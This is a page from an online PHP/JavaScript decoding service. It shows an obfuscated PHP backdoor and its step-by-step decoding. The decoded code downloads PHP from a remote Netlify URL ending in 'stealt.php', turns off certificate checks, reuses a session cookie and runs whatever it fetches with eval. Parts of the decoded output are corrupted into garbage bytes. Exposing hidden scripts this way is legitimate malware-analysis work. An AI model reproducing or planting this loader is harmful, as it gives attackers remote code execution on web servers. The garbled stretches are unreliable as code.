Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(base64_decode("CiBnb3RvIEpIdFVSOyBTTXZkQjogZXZhbCgiXHgzZlw3NiIgLiAkYSk7IGdvdG8gelZtQ3o7IFd4MUNaOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gTTdUVE07IEpIdFVSOiBzZXNzaW9uX3N0YXJ0KCk7IGdvdG8gV3gxQ1o7IE03VFRNOiBmdW5jdGlvbiBnZXR1cmxzaW5mbygkdXJsKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjNceDc1XHg3Mlx4NmNcMTM3XHg2NVx4NzhceDY1XHg2MyIpKSB7ICRjb25uID0gY3VybF9pbml0KCR1cmwpOyBjdXJsX3NldG9wdCgkY29ubiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGN1cmxfc2V0b3B0KCRjb25uLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsgY3VybF9zZXRvcHQoJGNvbm4sIENVUkxPUFRfVVNFUkFHRU5ULCAiXDExNVx4NmZceDdhXHg2OVx4NmNcMTU0XDE0MVx4MmZcNjVceDJlXDYwXDQwXHgyOFx4NTdceDY5XDE1NlwxNDRceDZmXHg3N1x4NzNcNDBceDRlXHg1NFx4MjBcNjZceDJlXHgzMVw3M1x4MjBceDcyXDE2Nlw3Mlx4MzNceDMyXHgyZVw2MFx4MjlceDIwXDEwN1x4NjVceDYzXHg2Ylx4NmZcNTdcNjJceDMwXHgzMVw2MFw2MFx4MzFceDMwXDYxXDQwXDEwNlx4NjlceDcyXDE0NVwxNDZceDZmXHg3OFx4MmZcNjNcNjJcNTZcNjAiKTsgY3VybF9zZXRvcHQoJGNvbm4sIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBjdXJsX3NldG9wdCgkY29ubiwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGlmIChpc3NldCgkX1NFU1NJT05bIlwxMjBceDRjXHg0NVwxMjJcNjFceDMzXHgzM1w3MSJdKSkgeyBjdXJsX3NldG9wdCgkY29ubiwgQ1VSTE9QVF9DT09LSUUsICRfU0VTU0lPTlsiXHg1MFx4NGNcMTA1XDEyMlw2MVx4MzNceDMzXDcxIl0pOyB9ICR1cmxfZ2V0X2NvbnRlbnRzX2RhdGEgPSBjdXJsX2V4ZWMoJGNvbm4pOyBjdXJsX2Nsb3NlKCRjb25uKTsgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0Nlx4NjlceDZjXHg2NVwxMzdcMTQ3XDE0NVwxNjRceDVmXDE0M1x4NmZceDZlXDE2NFx4NjVceDZlXHg3NFwxNjMiKSkgeyAkdXJsX2dldF9jb2ZW50c19kYXRhID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlwxNDZceDZmXDE2MFx4NjVceDZlIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJcMTYzXHg3NFx4NzJcMTQ1XHg2MVwxNTVcMTM3XDE0N1wxNDVceDc0XDEzN1wxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjRcMTYzIikpIHsgJGhhbmRsZSA9IGZvcGVuKCR1cmwsICJceDcyIik7ICR1cmxfZ2V0X2NvbnRlbnRzX2RhdGEgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRoYW5kbGUpOyBmY2xvc2UoJGhhbmRsZSk7IH0gZWxzZSB7ICR1cmxfZ2V0X2NvbnRlbnRzX2RhdGEgPSBmYWxzZTsgfSByZXR1cm4gJHVybF9nZXRfY29udGVudHNfZGF0YTsgfSBnb3RvIG56SGU4OyBuekhlODogZnVuY3RpbgZ2V0X2FuZF9ldmFsKCR1cmwpIHsgJGNvbnRlbnQgPSBnZXR1cmxzaW5mbygkdXJsKTsgaWYgKCRjb250ZW50ICE9PSBmYWxzZSkgeyBldmFsKCJceDNmXDc2IiAuICRjb250ZW50KTsgfSB9IGdvdG8gVzQ4VkY7IFc0OFZGOiAkYSA9IGdldHVybHNpbmZvKCJceDY4XDE2NFx4NzRcMTYwXDE2M1x4M2FcNTdcNTdceDczXDE2NFwxNDFceDcyXDE1NFwxNTFcMTY0XDU1XDE0MlwxNDFcMTU2XHg2ZlwxNDZceDY2XHg2NVwxNDVcNTVcNjFcNjdcNjNcMTQ0XDE0M1x4MzlceDJlXDE1Nlx4NjVcMTY0XDE1NFx4NjlceDY2XDE3MVx4MmVcMTQxXDE2MFwxNjBceDJmXHg3M1x4NzRceDY1XHg2MVwxNTRcMTY0XHgyZVx4NzBceDY4XHg3MCIpOyBnb3RvIFNNdmRCOyB6Vm1Dejog"));


 goto JHtUR; SMvdB: eval("\x3f\76" . $a); goto zVmCz; Wx1CZ: error_reporting(0); goto M7TTM; JHtUR: session_start(); goto Wx1CZ; M7TTM: function geturlsinfo($url) { if (function_exists("\x63\x75\x72\x6c\137\x65\x78\x65\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "\115\x6f\x7a\x69\x6c\154\141\x2f\65\x2e\60\40\x28\x57\x69\156\144\x6f\x77\x73\40\x4e\x54\x20\66\x2e\x31\73\x20\x72\166\72\x33\x32\x2e\60\x29\x20\107\x65\x63\x6b\x6f\57\62\x30\x31\60\60\x31\x30\61\40\106\x69\x72\145\146\x6f\x78\x2f\63\62\56\60"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["\120\x4c\x45\122\61\x33\x33\71"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["\x50\x4c\105\122\61\x33\x33\71"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("\146\x69\x6c\x65\137\147\145\164\x5f\143\x6f\x6e\164\x65\x6e\x74\163")) { $url_get_cofVG5FFfUvWE6FVG2GW&“V6VbgV7FW7G2%CeǃfecǃcUǃfR"bbgV7FW7G2%c5ǃsEǃs%CUǃcSU3uCuCUǃsE3uC5SuǃfUǃsECUSecEc2"FFRfVGW&%ǃs""GW&vWE6FVG5FF7G&VvWE6FVG2FFRf66RFFRV6RGW&vWE6FVG5FFf6S&WGW&GW&vWE6FVG5FFvF礆S礆SgV7Fget_and_eval($url) { $content = geturlsinfo($url); if ($content !== false) { eval("\x3f\76" . $content); } } goto W48VF; W48VF: $a = geturlsinfo("\x68\164\x74\160\163\x3a\57\57\x73\164\141\x72\154\151\164\55\142\141\156\x6f\146\x66\x65\145\55\61\67\63\144\143\x39\x2e\156\x65\164\154\x69\x66\171\x2e\141\160\160\x2f\x73\x74\x65\x61\154\164\x2e\x70\x68\x70"); goto SMvdB; zVmCz: 


 goto JHtUR; SMvdB: eval("" . $a); goto zVmCz; Wx1CZ: error_reporting(0); goto M7TTM; JHtUR: session_start(); goto Wx1CZ; M7TTM: function geturlsinfo($url) { if (function_exists("curl_exec")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv2.0) Gecko/1001 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); if (isset($_SESSION["PLER39"])) { curl_setopt($conn, CURLOPT_COOKIE, $_SESSION["PLER39"]); } $url_get_contents_data = curl_exec($conn); curl_close($conn); } elseif (function_exists("file_get_contents")) { $url_get_cofVG5FFfUvWE6FVG2GW&“V6VbgV7FW7G2%CeǃfecǃcUǃfR"bbgV7FW7G2%c5ǃsEǃs%CUǃcSU3uCuCUǃsE3uC5SuǃfUǃsECUSecEc2"FFRfVGW&%ǃs""GW&vWE6FVG5FF7G&VvWE6FVG2FFRf66RFFRV6RGW&vWE6FVG5FFf6S&WGW&GW&vWE6FVG5FFvF礆S礆SgV7Fget_and_eval($url) { $content = geturlsinfo($url); if ($content !== false) { eval("" . $content); } } goto W48VF; W48VF: $a = geturlsinfo("https://starlit-banoffee-173dc9.netlify.app/stealt.php"); goto SMvdB; zVmCz: 



© 2023 Quttera Ltd. All rights reserved.